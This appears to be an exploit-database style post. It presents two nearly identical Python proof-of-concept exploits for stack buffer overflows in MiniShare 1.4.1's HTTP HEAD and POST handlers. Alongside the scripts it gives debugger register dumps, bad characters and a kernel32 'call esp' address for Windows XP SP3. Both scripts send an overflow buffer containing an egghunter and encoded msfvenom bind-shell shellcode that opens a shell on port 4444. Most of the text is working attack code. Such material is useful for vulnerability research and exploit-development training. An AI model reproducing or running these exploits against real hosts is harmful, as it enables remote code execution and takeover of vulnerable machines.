Hi!!! playing in 2006.... I have adapted the exploit to python Not only the GET method is vulnerable to BOF (CVE-2004-2271). HEAD and POST methods are also vulnerable. The difference is minimal, both are exploited in the same way. Only 1 byte difference: GET = 3, HEAD and POST = 4 length ------------------------------------------------------------------- EAX 00000000 ECX 77C3EF3B msvcrt.77C3EF3B EDX 00F14E38 EBX 43346843 ESP 01563908 ASCII "6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co HTTP/1.1 " EBP 0156BB90 ESI 00000001 EDI 01565B68 EIP 68433568 C 0 ES 0023 32bit 0(FFFFFFFF) P 1 CS 001B 32bit 0(FFFFFFFF) A 1 SS 0023 32bit 0(FFFFFFFF) Z 0 DS 0023 32bit 0(FFFFFFFF) S 0 FS 003B 32bit 7FFDD000(FFF) T 0 GS 0000 NULL D 0 O 0 LastErr ERROR_SUCCESS (00000000) EFL 00010216 (NO,NB,NE,A,NS,PE,GE,G) ST0 empty ST1 empty ST2 empty ST3 empty ST4 empty ST5 empty ST6 empty ST7 empty 3 2 1 0 E S P U O Z D I FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT) FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1 ------------------------------------------------------------------------------ Only 210 bytes to shellcode ------------------------------------------------------------------------------ Badchars '00','0d' ------------------------------------------------------------------------------ >findjmp kernel32.dll esp - XP SP 3 English Scanning kernel32.dll for code useable with the esp register 0x7C809F83 call esp 0x7C8369E0 call esp 0x7C83C2C5 push esp - ret 0x7C87641B call esp <!-- # Exploit Title: Buffer overflow in MiniShare 1.4.1 HEAD method. # Date: 05-12-2018 # Exploit Author: Rafael Pedrero # Vendor Homepage: http://minishare.sourceforge.net/ # Software Link: http://minishare.sourceforge.net/ # Version: Minishare v1.4.1 # Tested on: Windows # CVE : CVE-2018-19861 # Category: exploit 1. Description Buffer overflow in MiniShare 1.4.1 and earlier allows remote attackers to execute arbitrary code via a long HTTP HEAD request. 2. Proof of Concept Exploit: #!/usr/bin/env python import socket import struct import os # Buffer overflow in MiniShare 1.4.1 and earlier allows remote attackers to execute arbitrary code via a long HTTP HEAD request - by Rafa # CVE: CVE-2018-19861 # Via Egghunter because shellcode in ESP only 210 bytes long. # Project Home Page (MiniShare) - http://minishare.sourceforge.net/ connection=socket.socket(socket.AF_INET, socket.SOCK_STREAM) host = "127.0.0.1" port = 80 # 32 bytes Egghunter - Egg = r4f4 = \x72\x34\x66\x34 egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x72\x34\x66\x34\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7" #msfvenom -a x86 --platform Windows -p windows/shell_bind_tcp LPORT=4444 -f python -a x86 --platform windows -b "\x00\x0d" -f c #Found 10 compatible encoders #Attempting to encode payload with 1 iterations of x86/shikata_ga_nai #x86/shikata_ga_nai succeeded with size 355 (iteration=0) #x86/shikata_ga_nai chosen with final size 355 #Payload size: 355 bytes #Final size of c file: 1516 bytes #unsigned char buf[] = shellcode=("r4f4r4f4"+"\xda\xd4\xb8\xda\xe7\x1b\xca\xd9\x74\x24\xf4\x5a\x31\xc9\xb1" "\x53\x83\xea\xfc\x31\x42\x13\x03\x98\xf4\xf9\x3f\xe0\x13\x7f" "\xbf\x18\xe4\xe0\x49\xfd\xd5\x20\x2d\x76\x45\x91\x25\xda\x6a" "\x5a\x6b\xce\xf9\x2e\xa4\xe1\x4a\x84\x92\xcc\x4b\xb5\xe7\x4f" "\xc8\xc4\x3b\xaf\xf1\x06\x4e\xae\x36\x7a\xa3\xe2\xef\xf0\x16" "\x12\x9b\x4d\xab\x99\xd7\x40\xab\x7e\xaf\x63\x9a\xd1\xbb\x3d" "\x3c\xd0\x68\x36\x75\xca\x6d\x73\xcf\x61\x45\x0f\xce\xa3\x97" "\xf0\x7d\x8a\x17\x03\x7f\xcb\x90\xfc\x0a\x25\xe3\x81\x0c\xf2" "\x99\x5d\x98\xe0\x3a\x15\x3a\xcc\xbb\xfa\xdd\x87\xb0\xb7\xaa" "\xcf\xd4\x46\x7e\x64\xe0\xc3\x81\xaa\x60\x97\xa5\x6e\x28\x43" "\xc7\x37\x94\x22\xf8\x27\x77\x9a\x5c\x2c\x9a\xcf\xec\x6f\xf3" "\x3c\xdd\x8f\x03\x2b\x56\xfc\x31\xf4\xcc\x6a\x7a\x7d\xcb\x6d" "\x7d\x54\xab\xe1\x80\x57\xcc\x28\x47\x03\x9c\x42\x6e\x2c\x77" "\x92\x8f\xf9\xe2\x9a\x36\x52\x11\x67\x88\x02\x95\xc7\x61\x49" "\x1a\x38\x91\x72\xf0\x51\x3a\x8f\xfb\x4c\xe7\x06\x1d\x04\x07" "\x4f\xb5\xb0\xe5\xb4\x0e\x27\x15\x9f\x26\xcf\x5e\xc9\xf1\xf0" "\x5e\xdf\x55\x66\xd5\x0c\x62\x97\xea\x18\xc2\xc0\x7d\xd6\x83" "\xa3\x1c\xe7\x89\x53\xbc\x7a\x56\xa3\xcb\x66\xc1\xf4\x9c\x59" "\x18\x90\x30\xc3\xb2\x86\xc8\x95\xfd\x02\x17\x66\x03\x8b\xda" "\xd2\x27\x9b\x22\xda\x63\xcf\xfa\x8d\x3d\xb9\xbc\x67\x8c\x13" "\x17\xdb\x46\xf3\xee\x17\x59\x85\xee\x7d\x2f\x69\x5e\x28\x76" "\x96\x6f\xbc\x7e\xef\x8d\x5c\x80\x3a\x16\x6c\xcb\x66\x3f\xe5" "\x92\xf3\x7d\x68\x25\x2e\x41\x95\xa6\xda\x3a\x62\xb6\xaf\x3f" "\x2e\x70\x5c\x32\x3f\x15\x62\xe1\x40\x3c") # findjmp kernel32.dll esp - WinXP SP3 English #0x7C809F83 call esp nops = "\x90" * 16 junk = "A" * 1786 + "\x83\x9f\x80\x7c" + nops + egghunter + "C" * (2000 - 1786 - 4 - 16 - len(egghunter)) try: print "Sending exploit..." connection.connect((host,port)) buffer = ( "HEAD " + junk + " HTTP/1.1\r\n" "Host: " + shellcode + "\r\n\r\n") connection.send(buffer) connection.close() print "\nExploit Sended ", len(buffer) except: print "Connection error" 3. Solution: This product is deprecated --> <!-- # Exploit Title: Buffer overflow in MiniShare 1.4.1 POST method. # Date: 05-12-2018 # Exploit Author: Rafael Pedrero # Vendor Homepage: http://minishare.sourceforge.net/ # Software Link: http://minishare.sourceforge.net/ # Version: Minishare v1.4.1 # Tested on: Windows # CVE : CVE-2018-19862 # Category: exploit 1. Description Buffer overflow in MiniShare 1.4.1 and earlier allows remote attackers to execute arbitrary code via a long HTTP POST request. 2. Proof of Concept Exploit: #!/usr/bin/env python import socket import struct import os # Buffer overflow in MiniShare 1.4.1 and earlier allows remote attackers to execute arbitrary code via a long HTTP POST request - by Rafa # CVE: CVE-2018-19862 # Via Egghunter because shellcode in ESP only 210 bytes long. # Project Home Page (MiniShare) - http://minishare.sourceforge.net/ connection=socket.socket(socket.AF_INET, socket.SOCK_STREAM) host = "127.0.0.1" port = 80 # 32 bytes Egghunter - Egg = r4f4 = \x72\x34\x66\x34 egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x72\x34\x66\x34\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7" #msfvenom -a x86 --platform Windows -p windows/shell_bind_tcp LPORT=4444 -f python -a x86 --platform windows -b "\x00\x0d" -f c #Found 10 compatible encoders #Attempting to encode payload with 1 iterations of x86/shikata_ga_nai #x86/shikata_ga_nai succeeded with size 355 (iteration=0) #x86/shikata_ga_nai chosen with final size 355 #Payload size: 355 bytes #Final size of c file: 1516 bytes #unsigned char buf[] = shellcode=("r4f4r4f4"+"\xda\xd4\xb8\xda\xe7\x1b\xca\xd9\x74\x24\xf4\x5a\x31\xc9\xb1" "\x53\x83\xea\xfc\x31\x42\x13\x03\x98\xf4\xf9\x3f\xe0\x13\x7f" "\xbf\x18\xe4\xe0\x49\xfd\xd5\x20\x2d\x76\x45\x91\x25\xda\x6a" "\x5a\x6b\xce\xf9\x2e\xa4\xe1\x4a\x84\x92\xcc\x4b\xb5\xe7\x4f" "\xc8\xc4\x3b\xaf\xf1\x06\x4e\xae\x36\x7a\xa3\xe2\xef\xf0\x16" "\x12\x9b\x4d\xab\x99\xd7\x40\xab\x7e\xaf\x63\x9a\xd1\xbb\x3d" "\x3c\xd0\x68\x36\x75\xca\x6d\x73\xcf\x61\x45\x0f\xce\xa3\x97" "\xf0\x7d\x8a\x17\x03\x7f\xcb\x90\xfc\x0a\x25\xe3\x81\x0c\xf2" "\x99\x5d\x98\xe0\x3a\x15\x3a\xcc\xbb\xfa\xdd\x87\xb0\xb7\xaa" "\xcf\xd4\x46\x7e\x64\xe0\xc3\x81\xaa\x60\x97\xa5\x6e\x28\x43" "\xc7\x37\x94\x22\xf8\x27\x77\x9a\x5c\x2c\x9a\xcf\xec\x6f\xf3" "\x3c\xdd\x8f\x03\x2b\x56\xfc\x31\xf4\xcc\x6a\x7a\x7d\xcb\x6d" "\x7d\x54\xab\xe1\x80\x57\xcc\x28\x47\x03\x9c\x42\x6e\x2c\x77" "\x92\x8f\xf9\xe2\x9a\x36\x52\x11\x67\x88\x02\x95\xc7\x61\x49" "\x1a\x38\x91\x72\xf0\x51\x3a\x8f\xfb\x4c\xe7\x06\x1d\x04\x07" "\x4f\xb5\xb0\xe5\xb4\x0e\x27\x15\x9f\x26\xcf\x5e\xc9\xf1\xf0" "\x5e\xdf\x55\x66\xd5\x0c\x62\x97\xea\x18\xc2\xc0\x7d\xd6\x83" "\xa3\x1c\xe7\x89\x53\xbc\x7a\x56\xa3\xcb\x66\xc1\xf4\x9c\x59" "\x18\x90\x30\xc3\xb2\x86\xc8\x95\xfd\x02\x17\x66\x03\x8b\xda" "\xd2\x27\x9b\x22\xda\x63\xcf\xfa\x8d\x3d\xb9\xbc\x67\x8c\x13" "\x17\xdb\x46\xf3\xee\x17\x59\x85\xee\x7d\x2f\x69\x5e\x28\x76" "\x96\x6f\xbc\x7e\xef\x8d\x5c\x80\x3a\x16\x6c\xcb\x66\x3f\xe5" "\x92\xf3\x7d\x68\x25\x2e\x41\x95\xa6\xda\x3a\x62\xb6\xaf\x3f" "\x2e\x70\x5c\x32\x3f\x15\x62\xe1\x40\x3c") # findjmp kernel32.dll esp - WinXP SP3 English #0x7C809F83 call esp nops = "\x90" * 16 junk = "A" * 1786 + "\x83\x9f\x80\x7c" + nops + egghunter + "C" * (2000 - 1786 - 4 - 16 - len(egghunter)) try: print "Sending exploit..." connection.connect((host,port)) buffer = ( "POST " + junk + " HTTP/1.1\r\n" "Host: " + shellcode + "\r\n\r\n") connection.send(buffer) connection.close() print "\nExploit Sended ", len(buffer) except: print "Connection error" 3. Solution: This product is deprecated -->